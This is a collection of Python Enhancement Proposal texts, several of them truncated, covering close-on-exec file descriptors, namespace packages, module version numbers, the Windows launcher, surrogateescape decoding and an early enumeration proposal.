untrusted child process can read sensitive data like passwords and
take control of the parent process though leaked file descriptors. It
is for example a known vulnerability to escape from a chroot.

See also the CERT recommendation:
`FIO42-C. Ensure files are properly closed when they are no longer needed
<https://www.securecoding.cert.org/confluence/display/seccode/FIO42-C.+Ensure+files+are+properly+closed+when+they+are+no+longer+needed>`_.


Example of vulnerabilities:


* `OpenSSH Security Advisory: portable-keysign-rand-helper.adv
  <http://www.openssh.com/txt/portable-keysign-rand-helper.adv>`_
  (April 2011)
* `CWE-403: Exposure of File Descriptor to Unintended Control Sphere
  <http://cwe.mitre.org/data/definitions/403.html>`_ (2008)
* `Hijacking Apache https by mod_php
  <http://www.securityfocus.com/archive/1/348368>`_ (Dec 2003)

  * Apache: `Apr should set FD_CLOEXEC if APR_FOPEN_NOCLEANUP is not set
    <https://issues.apache.org/bugzilla/show_bug.cgi?id=46425>`_
    (fixed in 2009)
  * PHP: `system() (and similar) don't cleanup opened handles of Apache
    <https://bugs.php.net/bug.php?id=38915>`_ (not fixed in January
    2013)


Atomicity
---------

Using ``fcntl()`` to set the close-on-exec flag is not safe in a
multithreaded application. If a thread calls ``fork()`` and ``exec()``
between the creation of the file descriptor and the call to
``fcntl(fd, F_SETFD, new_flags)``: the file descriptor will be
inherited by the child process. Modern operating systems offer
functions to set the flag during the creation of the file descriptor,
which avoids the race condition.


Portability
-----------

Python 3.2 added ``socket.SOCK_CLOEXEC`` flag, Python 3.3 added
``os.O_CLOEXEC`` flag and ``os.pipe2()`` function. It is already
possible to set atomically close-on-exec flag in Python 3.3 when
opening a file and creating a pipe or socket.

The problem is that these flags and functions are not portable: only
recent versions of operating systems support them. ``O_CLOEXEC`` and
``SOCK_CLOEXEC`` flags are ignored by old Linux versions and so
``FD_CLOEXEC`` flag must be checked using ``fcntl(fd, F_GETFD)``.  If
the kernel ignores ``O_CLOEXEC`` or ``SOCK_CLOEXEC`` flag, a call to
``fcntl(fd, F_SETFD, flags)`` is required to set close-on-exec flag.

.. note::
   OpenBSD older 5.2 does not close the file descriptor with
   close-on-exec flag set if ``fork()`` is used before ``exec()``, but
   it works correctly if ``exec()`` is called without ``fork()``. Try
   `openbsd_bug.py <http://hg.python.org/peps/file/tip/pep-0433/openbsd_bug.py>`_.


Scope
-----

Applications still have to close explicitly file descriptors after a
``fork()``.  The close-on-exec flag only closes file descriptors after
``exec()``, and so after ``fork()`` + ``exec()``.

This PEP only change the close-on-exec flag of file descriptors
created by the Python standard library, or by modules using the
standard library.  Third party modules not using the standard library
should be modified to conform to this PEP. The new
``os.set_cloexec()`` function can be used for example.

.. note::
   See `Close file descriptors after fork`_ for a possible solution
   for ``fork()`` without ``exec()``.


Proposal
========

Add a new optional *cloexec* parameter on functions creating file
descriptors and different ways to change default value of this
parameter.

Add new functions:

* ``os.get_cloexec(fd:int) -> bool``: get the
  close-on-exec flag of a file descriptor. Not available on all
  platforms.
* ``os.set_cloexec(fd:int, cloexec:bool=True)``: set or clear the
  close-on-exec flag on a file descriptor. Not available on all
  platforms.
* ``sys.getdefaultcloexec() -> bool``: get the current default value
  of the *cloexec* parameter
* ``sys.setdefaultcloexec(cloexec: bool)``: set the default value
  of the *cloexec* parameter

Add a new optional *cloexec* parameter to:

* ``asyncore.dispatcher.create_socket()``
* ``io.FileIO``
* ``io.open()``
* ``open()``
* ``os.dup()``
* ``os.dup2()``
* ``os.fdopen()``
* ``os.open()``
* ``os.openpty()``
* ``os.pipe()``
* ``select.devpoll()``
* ``select.epoll()``
* ``select.kqueue()``
* ``socket.socket()``
* ``socket.socket.accept()``
* ``socket.socket.dup()``
* ``socket.socket.fromfd``
* ``socket.socketpair()``

The default value of the *cloexec* paramet


id: pep-0382.rst
content:
PEP: 382
Title: Namespace Packages
Author: Martin von LÃ¶wis <martin@v.loewis.de>
Status: Rejected
Type: Standards Track
Created: 02-Apr-2009
Python-Version: 3.2
Post-History:

Rejection Notice
================

On the first day of sprints at US PyCon 2012 we had a long and
fruitful discussion about :pep:`382` and :pep:`402`.  We ended up rejecting
both but a new PEP will be written to carry on in the spirit of PEP
402.  Martin von LÃ¶wis wrote up a summary: [2]_.

Abstract
========

Namespace packages are a mechanism for splitting a single Python
package across multiple directories on disk. In current Python
versions, an algorithm to compute the packages __path__ must be
formulated. With the enhancement proposed here, the import machinery
itself will construct the list of directories that make up the
package.   An implementation of this PEP is available at [1]_.

Terminology
===========

Within this PEP, the term package refers to Python packages as defined
by Python's import statement. The term distribution refers to
separately installable sets of Python modules as stored in the Python
package index, and installed by distutils or setuptools. The term
vendor package refers to groups of files installed by an operating
system's packaging mechanism (e.g. Debian or Redhat packages install
on Linux systems).

The term portion refers to a set of files in a single directory (possibly
stored in a zip file) that contribute to a namespace package.

Namespace packages today
========================

Python currently provides the pkgutil.extend_path to denote a package as
a namespace package. The recommended way of using it is to put::

        from pkgutil import extend_path
        __path__ = extend_path(__path__, __name__)

in the package's ``__init__.py``. Every distribution needs to provide
the same contents in its ``__init__.py``, so that extend_path is
invoked independent of which portion of the package gets imported
first. As a consequence, the package's ``__init__.py`` cannot
practically define any names as it depends on the order of the package
fragments on sys.path which portion is imported first. As a special
feature, extend_path reads files named ``<packagename>.pkg`` which
allow to declare additional portions.

setuptools provides a similar function pkg_resources.declare_namespace
that is used in the form::

    import pkg_resources
    pkg_resources.declare_namespace(__name__)

In the portion's __init__.py, no assignment to __path__ is necessary,
as declare_namespace modifies the package __path__ through sys.modules.
As a special feature, declare_namespace also supports zip files, and
registers the package name internally so that future additions to sys.path
by setuptools can properly add additional portions to each package.

setuptools allows declaring namespace packages in a distribution's
setup.py, so that distribution developers don't need to put the
magic __path__ modification into __init__.py themselves.

Rationale
=========

The current imperative approach to namespace packages has lead to
multiple slightly-incompatible mechanisms for providing namespace
packages. For example, pkgutil supports ``*.pkg`` files; setuptools
doesn't. Likewise, setuptools supports inspecting zip files, and
supports adding portions to its _namespace_packages variable, whereas
pkgutil doesn't.

In addition, the current approach causes problems for system vendors.
Vendor packages typically must not provide overlapping files, and an
attempt to install a vendor package that has a file already on disk
will fail or cause unpredictable behavior. As vendors might chose to
package distributions such that they will end up all in a single
directory for the namespace package, all portions would contribute
conflicting __init__.py files.

Specification
=============

Rather than using an imperative mechanism for importing packages, a
declarative approach is proposed here: A directory whose name ends
with ``.pyp`` (for Python package) contains a portion of a package.

The import statement is extended so that computes the package's
``__path__`` attribute for a package named ``P`` as consisting of
optionally a single directory name ``P`` containing a file
``__init__.py``, plus all directories named ``P.pyp``, in the order in
which they are found in the parent's package ``__path__`` (or
``sys.path``). If either of these are found, search for additional
portions of the package continues.

A directory may contain both a package in the ``P/__init__.py`` and
the ``P.pyp`` form.

No other change to the importing mechanism is made; searching modules
(including __init__.py) will continue to stop at the first module
encountered. In summary, the process import a package foo works like
this:

1. sys.path is searched for directories foo or foo.pyp, or a file foo.<ext>.
   If a file is found and no directory, it is treated as a module, and imported.
2. If a directory foo is found, a check is made whether it contains __init__.py.
   If so, the location of the __init__.py is remembered. Otherwise, the directory
   is skipped. Once an __init__.py is found, further directories called foo are
   skipped.
3. For both directories foo and foo.pyp, the directories are added to the package's
   __path__.
4. If an __init__ module was found, it is imported, with __path__
   being initialized to the path computed all ``.pyp`` directories.

Impact on Import Hooks
----------------------

Both loaders and finders as defined in :pep:`302` will need to be changed
to support namespace packages. Failure to conform to the protocol
below might cause a package not being recognized as a namespace
package; loaders and finders not supporting this protocol must raise
AttributeError when the functions below get accessed.

Finders need to support looking for \*.pth files in step 1 of above
algorithm. To do so, a finder used as a path hook must support a
method:

   finder.find_package_portion(fullname)

This method will be called in the same manner as find_module, and it
must return a string to be added to the package's ``__path__``.
If the finder doesn't find a portion of the package, it shall return
``None``. Raising ``AttributeError`` from above call will be treated
as non-conformance with this PEP, and the exception will be ignored.
All other exceptions are reported.

A finder may report both success from ``find_module`` and from
``find_package_portion``, allowing for both a package containing
an ``__init__.py`` and a portion of the same package.

All strings returned from ``find_package_portion``, along with all
path names of ``.pyp`` directories are added to the new package's
``__path__``.

Discussion
==========

Original versions of this specification proposed the addition of
``*.pth`` files, similar to the way those files are used on sys.path.
With a wildcard marker (``*``), a package could indicate that the
entire path is derived by looking at the parent path, searching for
properly-named subdirectories.

People then observed that the support for the full .pth syntax is
inappropriate, and the .pth files were changed to be mere marker
files, indicating that a directories is a package. Peter TrÃ¶ger
suggested that .pth is an unsuitable file extension, as all file
extensions related to Python should start with ``.py``. Therefore, the
marker file was renamed to be ``.pyp``.

Dinu Gherman then observed that using a marker file is not necessary,
and that a directory extension could well serve as a such as a
marker. This is what this PEP currently proposes.

Phillip Eby designed :pep:`402` as an alternative approach to this PEP,
after comparing Python's package syntax with that found in other
languages. :pep:`402` proposes not to use a marker file at all. At the
discussion at PyCon DE 2011, people remarked that having an explicit
declaration of a directory as contributing to a package is a desirable
property, rather than an obstacle. In particular, Jython developers
noticed that Jython could easily mistake a directo


id: pep-0396.rst
content:
PEP: 396
Title: Module Version Numbers
Author: Barry Warsaw <barry@python.org>
Status: Withdrawn
Type: Informational
Topic: Packaging
Created: 16-Mar-2011
Post-History: 05-Apr-2011

.. withdrawn::

   Refer to :ref:`packaging:runtime-version-access` and
   :ref:`packaging:single-source-version` in the Python
   Packaging User Guide for up to date recommendations on
   accessing package version information at runtime,
   and on defining runtime ``__version__`` attributes which are
   automatically kept consistent with package distribution metadata


Abstract
========

Given that it is useful and common to specify version numbers for
Python modules, and given that different ways of doing this have grown
organically within the Python community, it is useful to establish
standard conventions for module authors to adhere to and reference.
This informational PEP describes best practices for Python module
authors who want to define the version number of their Python module.

Conformance with this PEP is optional, however other Python tools
(such as ``distutils2`` [1]_) may be adapted to use the conventions
defined here.


PEP Rejection/Withdrawal
========================

This PEP was formally rejected on 2021-04-14.  The packaging ecosystem
has changed significantly in the intervening years since this PEP was
first written, and APIs such as ``importlib.metadata.version()`` [11]_
provide for a much better experience.

This rejection was reclassified as a withdrawal on 2024-10-21,
as the previous state was being misinterpreted [12]_ as suggesting
that *no* modules should be defining ``__version__`` attributes,
which definitely isn't the case.

Modules are still free to define ``__version__`` if they choose to.
However, choosing *not* to do so won't interfere with looking up
the version information for installed distribution packages, so an
Informational PEP isn't the right tool to document community
conventions around the use of module ``__version__`` attributes
(they're better covered as part of the Python Packaging User Guide).


User Stories
============

Alice is writing a new module, called ``alice``, which she wants to
share with other Python developers.  ``alice`` is a simple module and
lives in one file, ``alice.py``.  Alice wants to specify a version
number so that her users can tell which version they are using.
Because her module lives entirely in one file, she wants to add the
version number to that file.

Bob has written a module called ``bob`` which he has shared with many
users.  ``bob.py`` contains a version number for the convenience of
his users.  Bob learns about the Cheeseshop [2]_, and adds some simple
packaging using classic distutils so that he can upload *The Bob
Bundle* to the Cheeseshop.  Because ``bob.py`` already specifies a
version number which his users can access programmatically, he wants
the same API to continue to work even though his users now get it from
the Cheeseshop.

Carol maintains several namespace packages, each of which are
independently developed and distributed.  In order for her users to
properly specify dependencies on the right versions of her packages,
she specifies the version numbers in the namespace package's
``setup.py`` file.  Because Carol wants to have to update one version
number per package, she specifies the version number in her module and
has the ``setup.py`` extract the module version number when she builds
the *sdist* archive.

David maintains a package in the standard library, and also produces
standalone versions for other versions of Python.  The standard
library copy defines the version number in the module, and this same
version number is used for the standalone distributions as well.


Rationale
=========

Python modules, both in the standard library and available from third
parties, have long included version numbers.  There are established
de facto standards for describing version numbers, and many ad-hoc
ways have grown organically over the years.  Often, version numbers
can be retrieved from a module programmatically, by importing the
module and inspecting an attribute.  Classic Python distutils
``setup()`` functions [3]_ describe a ``version`` argument where the
release's version number can be specified.  :pep:`8` describes the
use of a module attribute called ``__version__`` for recording
"Subversion, CVS, or RCS" version strings using keyword expansion.  In
the PEP author's own email archives, the earliest example of the use
of an ``__version__`` module attribute by independent module
developers dates back to 1995.

Another example of version information is the sqlite3 [5]_ module
with its ``sqlite_version_info``, ``version``, and ``version_info``
attributes.  It may not be immediately obvious which attribute
contains a version number for the module, and which contains a version
number for the underlying SQLite3 library.

This informational PEP codifies established practice, and recommends
standard ways of describing module version numbers, along with some
use cases for when -- and when *not* -- to include them.  Its adoption
by module authors is purely voluntary; packaging tools in the standard
library will provide optional support for the standards defined
herein, and other tools in the Python universe may comply as well.


Specification
=============

#. In general, modules in the standard library SHOULD NOT have version
   numbers.  They implicitly carry the version number of the Python
   release they are included in.

#. On a case-by-case basis, standard library modules which are also
   released in standalone form for other Python versions MAY include a
   module version number when included in the standard library, and
   SHOULD include a version number when packaged separately.

#. When a module (or package) includes a version number, the version
   SHOULD be available in the ``__version__`` attribute.

#. For modules which live inside a namespace package, the module
   SHOULD include the ``__version__`` attribute.  The namespace
   package itself SHOULD NOT include its own ``__version__``
   attribute.

#. The ``__version__`` attribute's value SHOULD be a string.

#. Module version numbers SHOULD conform to the normalized version
   format specified in :pep:`386`.

#. Module version numbers SHOULD NOT contain version control system
   supplied revision numbers, or any other semantically different
   version numbers (e.g. underlying library version number).

#. The ``version`` attribute in a classic distutils ``setup.py``
   file, or the :pep:`345` ``Version`` metadata field SHOULD be
   derived from the ``__version__`` field, or vice versa.


Examples
========

Retrieving the version number from a third party package::

    >>> import bzrlib
    >>> bzrlib.__version__
    '2.3.0'

Retrieving the version number from a standard library package that is
also distributed as a standalone module::

    >>> import email
    >>> email.__version__
    '5.1.0'

Version numbers for namespace packages::

    >>> import flufl.i18n
    >>> import flufl.enum
    >>> import flufl.lock

    >>> print flufl.i18n.__version__
    1.0.4
    >>> print flufl.enum.__version__
    3.1
    >>> print flufl.lock.__version__
    2.1

    >>> import flufl
    >>> flufl.__version__
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    AttributeError: 'module' object has no attribute '__version__'
    >>>


Deriving
========

Module version numbers can appear in at least two places, and
sometimes more.  For example, in accordance with this PEP, they are
available programmatically on the module's ``__version__`` attribute.
In a classic distutils ``setup.py`` file, the ``setup()`` function
takes a ``version`` argument, while the distutils2 ``setup.cfg`` file
has a ``version`` key.  The version number must also get into the PEP
345 metadata, preferably when the *sdist* archive is built.  It's
desirable for module authors to only have to specify the version
number once, and ha


id: pep-0397.rst
content:
PEP: 397
Title: Python launcher for Windows
Author: Mark Hammond <mhammond@skippinet.com.au>,
        Martin von LÃ¶wis <martin@v.loewis.de>
Status: Final
Type: Standards Track
Created: 15-Mar-2011
Python-Version: 3.3
Post-History: 21-Jul-2011, 17-May-2011, 15-Mar-2011
Resolution: https://mail.python.org/pipermail/python-dev/2012-June/120505.html

Abstract
========

This PEP describes a Python launcher for the Windows platform.  A
Python launcher is a single executable which uses a number of
heuristics to locate a Python executable and launch it with a
specified command line.


Rationale
=========

Windows provides "file associations" so an executable can be associated
with an extension, allowing for scripts to be executed directly in some
contexts (eg., double-clicking the file in Windows Explorer.)  Until now,
a strategy of "last installed Python wins" has been used and while not
ideal, has generally been workable due to the conservative changes in
Python 2.x releases.  As Python 3.x scripts are often syntactically
incompatible with Python 2.x scripts, a different strategy must be used
to allow files with a '.py' extension to use a different executable based
on the Python version the script targets.  This will be done by borrowing
the existing practices of another operating system - scripts will be able
to nominate the version of Python they need by way of a "shebang" line, as
described below.

Unix-like operating systems (referred to simply as "Unix" in this
PEP) allow scripts to be executed as if they were executable images
by examining the script for a "shebang" line which specifies the
actual executable to be used to run the script.  This is described in
detail in the ``evecve(2)`` man page [1]_ and while user documentation will
be created for this feature, for the purposes of this PEP that man
page describes a valid shebang line.

Additionally, these operating systems provide symbolic-links to
Python executables in well-known directories.  For example, many
systems will have a link /usr/bin/python which references a
particular version of Python installed under the operating-system.
These symbolic links allow Python to be executed without regard for
where Python it actually installed on the machine (eg., without
requiring the path where Python is actually installed to be
referenced in the shebang line or in the ``PATH``.)  :pep:`394` 'The "python"
command on Unix-Like Systems' describes additional conventions
for more fine-grained specification of a particular Python version.

These 2 facilities combined allow for a portable and somewhat
predictable way of both starting Python interactively and for allowing
Python scripts to execute.  This PEP describes an implementation of a
launcher which can offer the same benefits for Python on the Windows
platform and therefore allows the launcher to be the executable
associated with '.py' files to support multiple Python versions
concurrently.

While this PEP offers the ability to use a shebang line which should
work on both Windows and Unix, this is not the primary motivation for
this PEP - the primary motivation is to allow a specific version to be
specified without inventing new syntax or conventions to describe
it.

Specification
=============

This PEP specifies features of the launcher; a prototype
implementation is provided in [3]_ which will be distributed
together with the Windows installer of Python, but will also be
available separately (but released along with the Python
installer). New features may be added to the launcher as
long as the features prescribed here continue to work.

Installation
------------

The launcher comes in 2 versions - one which is a console program and
one which is a "windows" (ie., GUI) program.  These 2 launchers correspond
to the 'python.exe' and 'pythonw.exe' executables which currently ship
with Python.  The console launcher will be named 'py.exe' and the Windows
one named 'pyw.exe'.  The "windows" (ie., GUI) version of the launcher
will attempt to locate and launch pythonw.exe even if a virtual shebang
line nominates simply "python" - in fact, the trailing 'w' notation is
not supported in the virtual shebang line at all.

The launcher is installed into the Windows directory (see
discussion below) if installed by a privileged user. The
stand-alone installer asks for an alternative location of the
installer, and adds that location to the user's ``PATH``.

The installation in the Windows directory is a 32-bit executable
(see discussion); the standalone installer may also offer to install
64-bit versions of the launcher.

The launcher installation is registered in
``HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\SharedDLLs``
with a reference counter.
It contains a version resource matching the version number of the
pythonXY.dll with which it is distributed. Independent
installations will overwrite older version
of the launcher with newer versions. Stand-alone releases use
a release level of ``0x10`` in ``FIELD3`` of the CPython release on which
they are based.

Once installed, the "console" version of the launcher is
associated with .py files and the "windows" version associated with .pyw
files.

The launcher is not tied to a specific version of Python - eg., a
launcher distributed with Python 3.3 should be capable of locating and
executing any Python 2.x and Python 3.x version. However, the
launcher binaries have a version resource that is the same as the
version resource in the Python binaries that they are released with.

Python Script Launching
-----------------------

The launcher is restricted to launching Python scripts.
It is not intended as a general-purpose script launcher or
shebang processor.

The launcher supports the syntax of shebang lines as described
in [1]_, including all restrictions listed.

The launcher supports shebang lines referring to Python
executables with any of the (regex) prefixes "/usr/bin/", "/usr/local/bin"
and "/usr/bin/env \*", as well as binaries specified without

For example, a shebang line of '#! /usr/bin/python' should work even
though there is unlikely to be an executable in the relative Windows
directory "\\usr\\bin".  This means that many scripts can use a single
shebang line and be likely to work on both Unix and Windows without
modification.

The launcher will support fully-qualified paths to executables.
While this will make the script inherently non-portable, it is a
feature offered by Unix and would be useful for Windows users in
some cases.

The launcher will be capable of supporting implementations other than
CPython, such as jython and IronPython, but given both the absence of
common links on Unix (such as "/usr/bin/jython") and the inability for the
launcher to automatically locate the installation location of these
implementations on Windows, the launcher will support this via
customization options.  Scripts taking advantage of this will not be
portable (as these customization options must be set to reflect the
configuration of the machine on which the launcher is running) but this
ability is nonetheless considered worthwhile.

On Unix, the user can control which specific version of Python is used
by adjusting the links in /usr/bin to point to the desired version.  As
the launcher on Windows will not use Windows links, customization options
(exposed via both environment variables and INI files) will be used to
override the semantics for determining what version of Python will be
used.  For example, while a shebang line of "/usr/bin/python2" will
automatically locate a Python 2.x implementation, an environment variable
can override exactly which Python 2.x implementation will be chosen.
Similarly for "/usr/bin/python" and "/usr/bin/python3".  This is
specified in detail later in this PEP.

Shebang line parsing
--------------------

If the first command-line argument does not start with a dash ('-')
character, an attempt will be made to open that argument as a file
and parsed for a shebang line according to t


id: pep-0383.rst
content:
PEP: 383
Title: Non-decodable Bytes in System Character Interfaces
Author: Martin von LÃ¶wis <martin@v.loewis.de>
Status: Final
Type: Standards Track
Created: 22-Apr-2009
Python-Version: 3.1
Post-History:

Abstract
========

File names, environment variables, and command line arguments are
defined as being character data in POSIX; the C APIs however allow
passing arbitrary bytes - whether these conform to a certain encoding
or not. This PEP proposes a means of dealing with such irregularities
by embedding the bytes in character strings in such a way that allows
recreation of the original byte string.

Rationale
=========

The C char type is a data type that is commonly used to represent both
character data and bytes. Certain POSIX interfaces are specified and
widely understood as operating on character data, however, the system
call interfaces make no assumption on the encoding of these data, and
pass them on as-is. With Python 3, character strings use a
Unicode-based internal representation, making it difficult to ignore
the encoding of byte strings in the same way that the C interfaces can
ignore the encoding.

On the other hand, Microsoft Windows NT has corrected the original
design limitation of Unix, and made it explicit in its system
interfaces that these data (file names, environment variables, command
line arguments) are indeed character data, by providing a
Unicode-based API (keeping a C-char-based one for backwards
compatibility).

For Python 3, one proposed solution is to provide two sets of APIs: a
byte-oriented one, and a character-oriented one, where the
character-oriented one would be limited to not being able to represent
all data accurately. Unfortunately, for Windows, the situation would
be exactly the opposite: the byte-oriented interface cannot represent
all data; only the character-oriented API can. As a consequence,
libraries and applications that want to support all user data in a
cross-platform manner have to accept mish-mash of bytes and characters
exactly in the way that caused endless troubles for Python 2.x.

With this PEP, a uniform treatment of these data as characters becomes
possible. The uniformity is achieved by using specific encoding
algorithms, meaning that the data can be converted back to bytes on
POSIX systems only if the same encoding is used.

Being able to treat such strings uniformly will allow application
writers to abstract from details specific to the operating system, and
reduces the risk of one API failing when the other API would have
worked.

Specification
=============

On Windows, Python uses the wide character APIs to access
character-oriented APIs, allowing direct conversion of the
environmental data to Python str objects (:pep:`277`).

On POSIX systems, Python currently applies the locale's encoding to
convert the byte data to Unicode, failing for characters that cannot
be decoded. With this PEP, non-decodable bytes >= 128 will be
represented as lone surrogate codes U+DC80..U+DCFF. Bytes below
128 will produce exceptions; see the discussion below.

To convert non-decodable bytes, a new error handler (:pep:`293`)
"surrogateescape" is introduced, which produces these surrogates. On
encoding, the error handler converts the surrogate back to the
corresponding byte. This error handler will be used in any API that
receives or produces file names, command line arguments, or
environment variables.

The error handler interface is extended to allow the encode error
handler to return byte strings immediately, in addition to returning
Unicode strings which then get encoded again (also see the discussion
below).

Byte-oriented interfaces that already exist in Python 3.0 are not
affected by this specification. They are neither enhanced nor
deprecated.

External libraries that operate on file names (such as GUI file
choosers) should also encode them according to the PEP.

Discussion
==========

This surrogateescape encoding is based on Markus Kuhn's idea that
he called UTF-8b [3]_.

While providing a uniform API to non-decodable bytes, this interface
has the limitation that chosen representation only "works" if the data
get converted back to bytes with the surrogateescape error handler
also. Encoding the data with the locale's encoding and the (default)
strict error handler will raise an exception, encoding them with UTF-8
will produce nonsensical data.

Data obtained from other sources may conflict with data produced
by this PEP. Dealing with such conflicts is out of scope of the PEP.

This PEP allows the possibility of "smuggling" bytes in character
strings. This would be a security risk if the bytes are
security-critical when interpreted as characters on a target system,
such as path name separators. For this reason, the PEP rejects
smuggling bytes below 128. If the target system uses EBCDIC, such
smuggled bytes may still be a security risk, allowing smuggling of
e.g. square brackets or the backslash. Python currently does not
support EBCDIC, so this should not be a problem in practice. Anybody
porting Python to an EBCDIC system might want to adjust the error
handlers, or come up with other approaches to address the security
risks.

Encodings that are not compatible with ASCII are not supported by
this specification; bytes in the ASCII range that fail to decode
will cause an exception. It is widely agreed that such encodings
should not be used as locale charsets.

For most applications, we assume that they eventually pass data
received from a system interface back into the same system
interfaces. For example, an application invoking os.listdir() will
likely pass the result strings back into APIs like os.stat() or
open(), which then encodes them back into their original byte
representation. Applications that need to process the original byte
strings can obtain them by encoding the character strings with the
file system encoding, passing "surrogateescape" as the error handler
name. For example, a function that works like os.listdir, except for
accepting and returning bytes, would be written as::

  def listdir_b(dirname):
      fse = sys.getfilesystemencoding()
      dirname = dirname.decode(fse, "surrogateescape")
      for fn in os.listdir(dirname):
          # fn is now a str object
          yield fn.encode(fse, "surrogateescape")

The extension to the encode error handler interface proposed by this
PEP is necessary to implement the 'surrogateescape' error handler,
because there are required byte sequences which cannot be generated
from replacement Unicode.  However, the encode error handler interface
presently requires replacement Unicode to be provided in lieu of the
non-encodable Unicode from the source string.  Then it promptly
encodes that replacement Unicode.  In some error handlers, such as the
'surrogateescape' proposed here, it is also simpler and more efficient
for the error handler to provide a pre-encoded replacement byte
string, rather than forcing it to calculating Unicode from which the
encoder would create the desired bytes.

A few alternative approaches have been proposed:

* create a new string subclass that supports embedded bytes
* use different escape schemes, such as escaping with a NUL
  character, or mapping to infrequent characters.

Of these proposals, the approach of escaping each byte XX
with the sequence U+0000 U+00XX has the disadvantage that
encoding to UTF-8 will introduce a NUL byte in the UTF-8
sequence. As a consequence, C libraries may interpret this
as a string termination, even though the string continues.
In particular, the gtk libraries will truncate text in this
case; other libraries may show similar problems.

References
==========

.. [3] UTF-8b
   https://web.archive.org/web/20090830064219/http://mail.nl.linux.org/linux-utf8/2000-07/msg00040.html

Copyright
=========

This document has been placed in the public domain.


id: pep-0354.rst
content:
PEP:            354
Title:          Enumerations in Python
Author:         Ben Finney <ben+python@benfinney.id.au>
Status:         Superseded
Type:           Standards Track
Created:        20-Dec-2005
Python-Version: 2.6
Post-History:   20-Dec-2005
Superseded-By:  435


Rejection Notice
================

This PEP has been rejected.  This doesn't slot nicely into any of the
existing modules (like collections), and the Python standard library
eschews having lots of individual data structures in their own
modules.  Also, the PEP has generated no widespread interest.  For
those who need enumerations, there are cookbook recipes and PyPI
packages that meet these needs.

*Note: this PEP was superseded by* :pep:`435`, *which has been accepted in
May 2013.*

Abstract
========

This PEP specifies an enumeration data type for Python.

An enumeration is an exclusive set of symbolic names bound to
arbitrary unique values.  Values within an enumeration can be iterated
and compared, but the values have no inherent relationship to values
outside the enumeration.


Motivation
==========

The properties of an enumeration are useful for defining an immutable,
related set of constant values that have a defined sequence but no
inherent semantic meaning.  Classic examples are days of the week
(Sunday through Saturday) and school assessment grades ('A' through
'D', and 'F').  Other examples include error status values and states
within a defined process.

It is possible to simply define a sequence of values of some other
basic type, such as ``int`` or ``str``, to represent discrete
arbitrary values.  However, an enumeration ensures that such values
are distinct from any others, and that operations without meaning
("Wednesday times two") are not defined for these values.


Specification
=============

An enumerated type is created from a sequence of arguments to the
type's constructor::

    >>> Weekdays = enum('sun', 'mon', 'tue', 'wed', 'thu', 'fri', 'sat')
    >>> Grades = enum('A', 'B', 'C', 'D', 'F')

Enumerations with no values are meaningless.  The exception
``EnumEmptyError`` is raised if the constructor is called with no
value arguments.

The values are bound to attributes of the new enumeration object::

    >>> today = Weekdays.mon

The values can be compared::

    >>> if today == Weekdays.fri:
    ...     print "Get ready for the weekend"

Values within an enumeration cannot be meaningfully compared except
with values from the same enumeration.  The comparison operation
functions return ``NotImplemented`` [#CMP-NOTIMPLEMENTED]_ when a
value from an enumeration is compared against any value not from the
same enumeration or of a different type::

    >>> gym_night = Weekdays.wed
    >>> gym_night.__cmp__(Weekdays.mon)
    1
    >>> gym_night.__cmp__(Weekdays.wed)
    0
    >>> gym_night.__cmp__(Weekdays.fri)
    -1
    >>> gym_night.__cmp__(23)
    NotImplemented
    >>> gym_night.__cmp__("wed")
    NotImplemented
    >>> gym_night.__cmp__(Grades.B)
    NotImplemented

This allows the operation to succeed, evaluating to a boolean value::

    >>> gym_night = Weekdays.wed
    >>> gym_night < Weekdays.mon
    False
    >>> gym_night < Weekdays.wed
    False
    >>> gym_night < Weekdays.fri
    True
    >>> gym_night < 23
    False
    >>> gym_night > 23
    True
    >>> gym_night > "wed"
    True
    >>> gym_night > Grades.B
    True

Coercing a value from an enumeration to a ``str`` results in the
string that was specified for that value when constructing the
enumeration::

    >>> gym_night = Weekdays.wed
    >>> str(gym_night)
    'wed'

The sequence index of each value from an enumeration is exported as an
integer via that value's ``index`` attribute::

    >>> gym_night = Weekdays.wed
    >>> gym_night.index
    3

An enumeration can be iterated, returning its values in the sequence
they were specified when the enumeration was created::

    >>> print [str(day) for day in Weekdays]
    ['sun', 'mon', 'tue', 'wed', 'thu', 'fri', 'sat']

Values from an enumeration are hashable, and can be used as dict
keys::

    >>> plans = {}
    >>> plans[Weekdays.sat] = "Feed the horse"

The normal usage of enumerations is to provide a set of possible
values for a data type, which can then be used to map to other
information about the values::

    >>> for report_grade in Grades:
    ...     report_students[report_grade] = \
    ...         [s for s in students if students.grade == report_grade]


Rationale -- Other designs considered
=====================================

All in one class
----------------

Some implementations have the enumeration and its values all as
attributes of a single object or class.

This PEP specifies a design where the enumeration is a container, and
the values are simple comparables.  It was felt that attempting to
place all the properties of enumeration within a single class
complicates the design without apparent benefit.


Metaclass for creating enumeration classes
------------------------------------------

The enumerations specified in this PEP are instances of an ``enum``
type.  Some alternative designs implement each enumeration as its own
class, and a metaclass to define common properties of all
enumerations.

One motivation for having a class (rather than an instance) for each
enumeration is to allow subclasses of enumerations, extending and
altering an existing enumeration.  A class, though, implies that
instances of that class will be created; it is difficult to imagine
what it means to have separate instances of a "days of the week"
class, where each instance contains all days.  This usually leads to
having each class follow the Singleton pattern, further complicating
the design.

In contrast, this PEP specifies enumerations that are not expected to
be extended or modified.  It is, of course, possible to create a new
enumeration from the string values of an existing one, or even
subclass the ``enum`` type if desired.


Values related to other types
-----------------------------

Some designs express a strong relationship to some other value, such
as a particular integer or string, for each enumerated value.

This results in using such values in contexts where the enumeration
has no meaning, and unnecessarily complicates the design.  The
enumerated values specified in this PEP export the values used to
create them, and can be compared for equality with any other value,
but sequence comparison with values outside the enumeration is
explicitly not implemented.


Hiding attributes of enumerated values
--------------------------------------

A previous design had the enumerated values hiding as much as possible
about their implementation, to the point of not exporting the string
key and sequence index.

The design in this PEP acknowledges that programs will often find it
convenient to know the enumerated value's enumeration type, sequence
index, and string key specified for the value.  These are exported by
the enumerated value as attributes.


Implementation
==============

This design is based partly on a recipe [#ENUM-RECIPE]_ from the
Python Cookbook.

The PyPI package ``enum`` [#ENUM-PACKAGE]_ provides a Python
implementation of the data types described in this PEP.


References and Footnotes
========================

..  [#CMP-NOTIMPLEMENTED]
    The ``NotImplemented`` return value from comparison operations
    signals the Python interpreter to attempt alternative comparisons
    or other fallbacks.
    <http://docs.python.org/reference/datamodel.html#the-standard-type-hierarchy>

..  [#ENUM-RECIPE]
    "First Class Enums in Python", Zoran Isailovski,
    Python Cookbook recipe 413486
